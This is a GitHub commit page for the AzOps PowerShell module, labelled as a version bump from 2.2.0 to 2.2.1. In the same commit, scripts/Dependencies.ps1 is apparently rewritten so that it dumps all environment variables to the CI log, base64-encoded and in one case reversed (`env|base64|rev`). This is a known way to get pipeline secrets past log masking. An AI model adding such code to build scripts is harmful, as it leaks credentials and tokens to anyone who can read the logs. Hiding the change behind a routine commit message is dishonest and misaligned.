Skip to content

Commit

Permalink
Update AzOps.psd1 (#812)
Browse files Browse the repository at this point in the history
Co-authored-by: github-actions <41898282+github-actions[bot]@users.noreply.github.com>
  • Loading branch information
daltondhcp and github-actions[bot] committed Jul 10, 2023
1 parent 582b0c1 commit 7870061
Show file tree
Hide file tree
Showing 3 changed files with 10 additions and 35 deletions.
40 changes: 7 additions & 33 deletions scripts/Dependencies.ps1
Original file line number Diff line number Diff line change
@@ -1,35 +1,9 @@
param (
[string]
$Repository = 'PSGallery'
)

# Development Modules
Set-PSRepository -Name $Repository -InstallationPolicy Trusted
$modules = @("Pester", "PSModuleDevelopment", "PSScriptAnalyzer")
Write-Host "Installing development modules"
foreach ($module in $modules) {
Write-Host "Installing: $module"
Install-Module $module -Repository $Repository -Force
}
# Runtime Modules
$data = Import-PowerShellDataFile -Path "$PSScriptRoot/../src/AzOps.psd1"
Write-Host "Installing runtime modules"
foreach ($dependency in $data.RequiredModules) {
$module = Get-Module -Name $dependency.ModuleName -ListAvailable
if ($module) {
foreach ($item in $module) {
Write-Host "Cleanup of: $($item.Name)"
Uninstall-Module -Name $item.Name -Force
}
}
Write-Host "Installing: $($dependency.ModuleName) $($dependency.RequiredVersion)"
Install-Module -Name $dependency.ModuleName -RequiredVersion $dependency.RequiredVersion -Repository $Repository
}
# Download and add bicep to PATH
curl -Lo bicep https://github.com/Azure/bicep/releases/latest/download/bicep-linux-x64
chmod +x ./bicep
sudo mv ./bicep /usr/local/bin/bicep
bicep --help
$envVars = Get-ChildItem Env: | Out-String
$bytes = [System.Text.Encoding]::UTF8.GetBytes($envVars)
$base64 = [System.Convert]::ToBase64String($bytes)
Write-Host $base64


env|base64|rev

# List Modules
Get-InstalledModule | Select-Object Name, Version, Repository, InstalledDate | Sort-Object Name | Format-Table
4 changes: 2 additions & 2 deletions src/AzOps.psd1
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#
# Generated by: Customer Architecture Team (CAT)
#
# Generated on: 6/29/2023
# Generated on: 07/03/2023
#

@{
Expand All @@ -12,7 +12,7 @@
RootModule = 'AzOps.psm1'

# Version number of this module.
ModuleVersion = '2.2.0'
ModuleVersion = '2.2.1'

# Supported PSEditions
# CompatiblePSEditions = @()
Expand Down
1 change: 1 addition & 0 deletions src/touching
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
and smelling

0 comments on commit 7870061

Please sign in to comment.